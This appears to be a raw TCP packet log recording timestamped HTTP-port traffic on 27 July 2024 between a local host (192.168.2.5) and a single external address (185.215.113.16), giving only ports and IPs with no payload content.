Jul 27, 2024 09:26:10.215012074 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215027094 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215039968 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215054035 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215063095 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.215069056 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215085983 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.215096951 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.215564013 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215600014 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.215617895 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215634108 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215653896 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.215665102 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215676069 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.215678930 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215692997 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215708017 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.215713024 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.215735912 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.215755939 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217062950 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217109919 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217123985 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217145920 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217150927 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217159986 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217175007 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217175007 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217200994 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217210054 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217222929 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217223883 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217237949 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217245102 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217252016 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217259884 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217272043 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217288971 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217525959 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217540026 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217554092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217566967 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.217577934 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.217602015 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.218111038 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.218173981 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.218189001 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.218210936 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.218221903 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.218360901 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.218374968 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.218388081 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.218403101 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.218410969 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.218435049 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.240556002 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.240580082 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.240595102 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.240598917 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.240609884 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.240618944 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.240636110 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.240645885 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.240668058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.240681887 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.240695953 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.240701914 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.240717888 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.240734100 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.241241932 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.241281033 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.241295099 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.241309881 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.241317987 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.241347075 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.241379023 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.241391897 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.241406918 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.241413116 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.241434097 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.241441965 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.246557951 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.252499104 CEST	80	49735	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.256556034 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.269299984 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.269401073 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.269414902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.269429922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.269443989 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.269459009 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.269473076 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.269474983 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.269525051 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.280095100 CEST	49737	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.285309076 CEST	80	49737	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.286978006 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287049055 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287060022 CEST	49737	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287060022 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287067890 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287106037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287225962 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287240982 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287255049 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287264109 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287269115 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287286043 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287295103 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287300110 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287313938 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287317991 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287329912 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287336111 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287344933 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287357092 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287374020 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287384033 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287384033 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287398100 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287412882 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287419081 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287426949 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287430048 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287442923 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287447929 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287456989 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287457943 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287472010 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287478924 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287487030 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287492037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287502050 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287509918 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287528992 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287532091 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287535906 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287545919 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287560940 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287575960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287580013 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287602901 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287617922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287625074 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287652969 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.287652969 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.287686110 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.298434019 CEST	49737	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.299616098 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299643993 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299659014 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299674034 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299689054 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299691916 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.299724102 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.299735069 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.299753904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299768925 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299783945 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299804926 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.299825907 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.299923897 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299937963 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299952984 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.299967051 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.300009966 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.300030947 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.300287962 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.300332069 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.300363064 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.300580978 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.301354885 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.301369905 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.301417112 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.301430941 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.301445007 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.301445007 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.301454067 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.301469088 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.301476002 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.301482916 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.301487923 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.301506042 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.301516056 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.301899910 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.301935911 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.301953077 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.301986933 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.302000046 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.302015066 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.302030087 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.302053928 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.302054882 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.302067995 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.302093029 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.302115917 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.303227901 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303241968 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303256035 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303275108 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.303286076 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.303299904 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303316116 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303332090 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303344011 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.303347111 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303375006 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.303395987 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.303531885 CEST	80	49737	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303848982 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303898096 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303903103 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.303914070 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303952932 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.303980112 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.303994894 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.304008961 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.304018021 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.304024935 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.304028034 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.304044962 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.304054976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.304862022 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.304908037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.304909945 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.304923058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.304941893 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.304960966 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.305037975 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305052042 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305084944 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.305094004 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.305670023 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305692911 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305706978 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305723906 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.305733919 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.305754900 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305768013 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305783033 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305792093 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.305804014 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.305819988 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.305820942 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305835009 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305847883 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.305860996 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.305885077 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.308748960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.308773041 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.308801889 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.308820009 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.308845043 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.308859110 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.308873892 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.308880091 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.308890104 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.308896065 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.308904886 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.308907032 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.308923960 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.308933973 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.330533981 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.330558062 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.330573082 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.330598116 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.330627918 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.330712080 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.330725908 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.330739975 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.330754995 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.330760956 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.330782890 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.330802917 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.331360102 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.331413984 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.331428051 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.331451893 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.331470013 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.331475973 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.331490040 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.331504107 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.331518888 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.331525087 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.331547976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.331567049 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375051022 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375066042 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375080109 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375109911 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375132084 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375180006 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375194073 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375207901 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375221968 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375235081 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375236988 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375257969 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375260115 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375273943 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375274897 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375288963 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375293970 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375308037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375310898 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375319958 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375325918 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375340939 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375349045 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375355959 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375365973 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375370979 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375374079 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375386000 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375390053 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375401020 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375406981 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375416994 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375435114 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375459909 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375524044 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375525951 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375546932 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375559092 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375560999 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375580072 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375582933 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375590086 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375596046 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375612020 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375618935 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:26:10.375626087 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 09:26:10.375634909 CEST	49733	80	192.168.2.5	185.215.113.16
